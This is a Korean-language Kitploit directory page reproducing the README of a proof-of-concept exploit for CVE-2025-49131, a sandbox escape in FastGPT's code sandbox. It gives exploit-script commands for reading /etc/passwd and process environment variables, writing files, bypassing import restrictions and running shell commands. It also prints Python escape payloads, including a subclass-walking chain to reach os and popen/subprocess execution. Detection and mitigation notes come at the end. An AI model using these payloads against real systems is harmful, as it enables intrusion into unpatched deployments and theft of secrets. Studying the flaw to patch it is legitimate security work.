Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-49131-poc | Kitploit
도구/GitHubGitHub/wenura17125/cve-2025-49131-poc
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolContainer Escape
GitHubwenura17125/cve-2025-49131-poc

cve-2025-49131-poc

저장소 보기
7개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-49131 - FastGPT 샌드박스 탈출 POC

root@kitploit:~
 ███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
 ██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
 █████╗  ███████║███████╗   ██║   ██║  ███╗██████╔╝   ██║   
 ██╔══╝  ██╔══██║╚════██║   ██║   ██║   ██║██╔═══╝    ██║   
 ██║     ██║  ██║███████║   ██║   ╚██████╔╝██║        ██║   
 ╚═╝     ╚═╝  ╚═╝╚══════╝   ╚═╝    ╚═════╝ ╚═╝        ╚═╝   
                                                            
 ███████╗ █████╗ ███╗   ██╗██████╗ ██████╗  ██████╗ ██╗  ██╗
 ██╔════╝██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
 ███████╗███████║██╔██╗ ██║██║  ██║██████╔╝██║   ██║ ╚███╔╝ 
 ╚════██║██╔══██║██║╚██╗██║██║  ██║██╔══██╗██║   ██║ ██╔██╗ 
 ███████║██║  ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
 ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═════╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝
                                                            
 ███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗           
 ██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝           
 █████╗  ███████╗██║     ███████║██████╔╝█████╗             
 ██╔══╝  ╚════██║██║     ██╔══██║██╔═══╝ ██╔══╝             
 ███████╗███████║╚██████╗██║  ██║██║     ███████╗           
 ╚══════╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝     ╚══════╝           
                                                            
        ╔═══════════════════════════════════════╗
        ║     CVE-2025-49131 | CVSS 6.3        ║
        ║   FastGPT Sandbox Container Escape   ║
        ║      Affected: < v4.9.11             ║
        ╚═══════════════════════════════════════╝

🎯 취약점 개요

⚠️ 면책 조항

이 도구는 승인된 보안 연구 및 교육 목적으로만 사용해야 합니다.

  • 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에서만 테스트하세요
  • 책임 있는 공개 절차를 따르세요
  • 적용 가능한 모든 법률 및 규정을 준수하세요

📖 설명

CVE-2025-49131은 FastGPT의 fastgpt-sandbox 컨테이너에서 발생하는 샌드박스 탈출 취약점입니다. 이 취약점은 다음과 같은 이유로 존재합니다:

  • 불충분한 격리 메커니즘 - 샌드박스가 Python 내장 함수를 제대로 제한하지 않음
  • 과도하게 허용적인 시스템 호출 - 위험한 시스템 호출(syscall)이 차단되지 않음
  • 부적절한 코드 실행 제한 - import 제한을 우회할 수 있음

영향

성공적으로 악용할 경우 공격자는 다음을 수행할 수 있습니다:

  • ✅ 임의 파일 읽기 - /etc/passwd, 구성 파일, 비밀 정보 접근
  • ✅ 임의 파일 쓰기 - 시스템 파일 수정, 악성 코드 주입
  • ✅ Python import 제한 우회 - os, subprocess 모듈 import
  • ✅ 잠재적 RCE - import한 모듈을 통한 시스템 명령 실행

🚀 빠른 시작

root@kitploit:~
# Clone this repository
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc

# Install dependencies
pip install -r requirements.txt

# Run vulnerability detection
python poc.py --target http://localhost:3001 --detect

# Read a file
python poc.py --target http://localhost:3001 --read /etc/passwd

# Attempt RCE
python poc.py --target http://localhost:3001 --rce "id"

🔧 취약 환경 구축

root@kitploit:~
# Start vulnerable and patched containers
docker-compose up -d

# Vulnerable sandbox on port 3001
# Patched sandbox on port 3002

💻 사용법

탐지 모드 (비파괴적)

root@kitploit:~
python poc.py --target http://localhost:3001 --detect -v

임의 파일 읽기

root@kitploit:~
python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ

파일 쓰기

root@kitploit:~
python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"

Import 우회

root@kitploit:~
python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess

환경 변수

root@kitploit:~
python poc.py --target http://localhost:3001 --env

원격 코드 실행

root@kitploit:~
python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"

전체 옵션

root@kitploit:~
python poc.py --help

📁 프로젝트 구조

root@kitploit:~
cve-2025-49131-poc/
├── poc.py                # Main exploit script
├── payloads.py           # Payload generator library
├── docker-compose.yml    # Test environment
├── requirements.txt      # Python dependencies
├── README.md             # This file
└── tests/
    └── test_exploit.py   # Automated tests

🔬 기술적 세부 사항

취약점 근본 원인

FastGPT 샌드박스는 사용자가 제출한 코드를 격리된 환경에서 실행하도록 설계되었습니다. 그러나 격리 메커니즘은 불충분합니다:

  1. Python __builtins__ 접근 - 샌드박스가 open(), __import__() 등의 내장 함수에 대한 접근을 제대로 제한하지 않음

  2. 시스템 호출 필터링 - 허용된 시스템 호출 목록에 파일 시스템 접근을 가능하게 하는 위험한 호출이 포함됨

  3. Import 제한 우회 - 모듈 import 제한을 우회하는 여러 기법이 존재함

악용 흐름

root@kitploit:~
┌─────────────────────────────────────────────┐
│ 1. Send malicious code to sandbox API       │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 2. Bypass sandbox restrictions using:       │
│    - __builtins__ manipulation              │
│    - Subclass walking                       │
│    - Import bypass techniques               │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 3. Gain access to:                          │
│    - File system (read/write)               │
│    - os/subprocess modules                  │
│    - Environment variables                  │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 4. Impact:                                  │
│    - Data exfiltration                      │
│    - Code injection                         │
│    - Remote command execution               │
└─────────────────────────────────────────────┘

예시 페이로드

파일 읽기:

root@kitploit:~
open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()

Import 우회:

root@kitploit:~
__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__() 
 if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/HEAD/%27os%27)

RCE:

root@kitploit:~
__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)

🛡️ 탐지 및 완화

탐지

샌드박스 로그에서 의심스러운 활동을 찾으세요:

  • /etc/passwd, /etc/shadow 접근 시도
  • __builtins__, __import__ 호출
  • subprocess 또는 os 모듈 사용
  • 비정상적인 파일 읽기/쓰기 작업

완화 조치

  1. FastGPT 업그레이드 - 버전 4.9.11 이상으로 업그레이드
  2. 네트워크 격리 - 샌드박스 컨테이너의 네트워크 접근 제한
  3. 리소스 제한 - 컨테이너에 CPU/메모리 제한 적용
  4. 모니터링 - 샌드박스 활동에 대한 로깅 및 알림 구현

📚 참고 자료

  • NVD - CVE-2025-49131
  • FastGPT GitHub
  • GitHub 보안 권고
  • FastGPT 문서

⏱️ 타임라인

날짜이벤트
2025-??-??취약점 발견
2025-??-??공급업체에 통보
2025-06-??패치 출시 (v4.9.11)
2025-06-09공개

📄 라이선스

이 프로젝트는 교육 및 승인된 보안 연구 목적으로만 사용됩니다. 책임감 있게 사용하세요.


보안 연구 목적으로 제작되었습니다. 테스트 전에 항상 적절한 승인을 받으세요.

도구 다운로드
필드값
CVE IDCVE-2025-49131
CVSS 점수6.3 (중간)
CVSS 벡터AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
취약점 유형샌드박스 탈출
영향받는 소프트웨어FastGPT (fastgpt-sandbox 컨테이너)
영향받는 버전< 4.9.11
패치 버전4.9.11+
공개 날짜2025년 6월 9일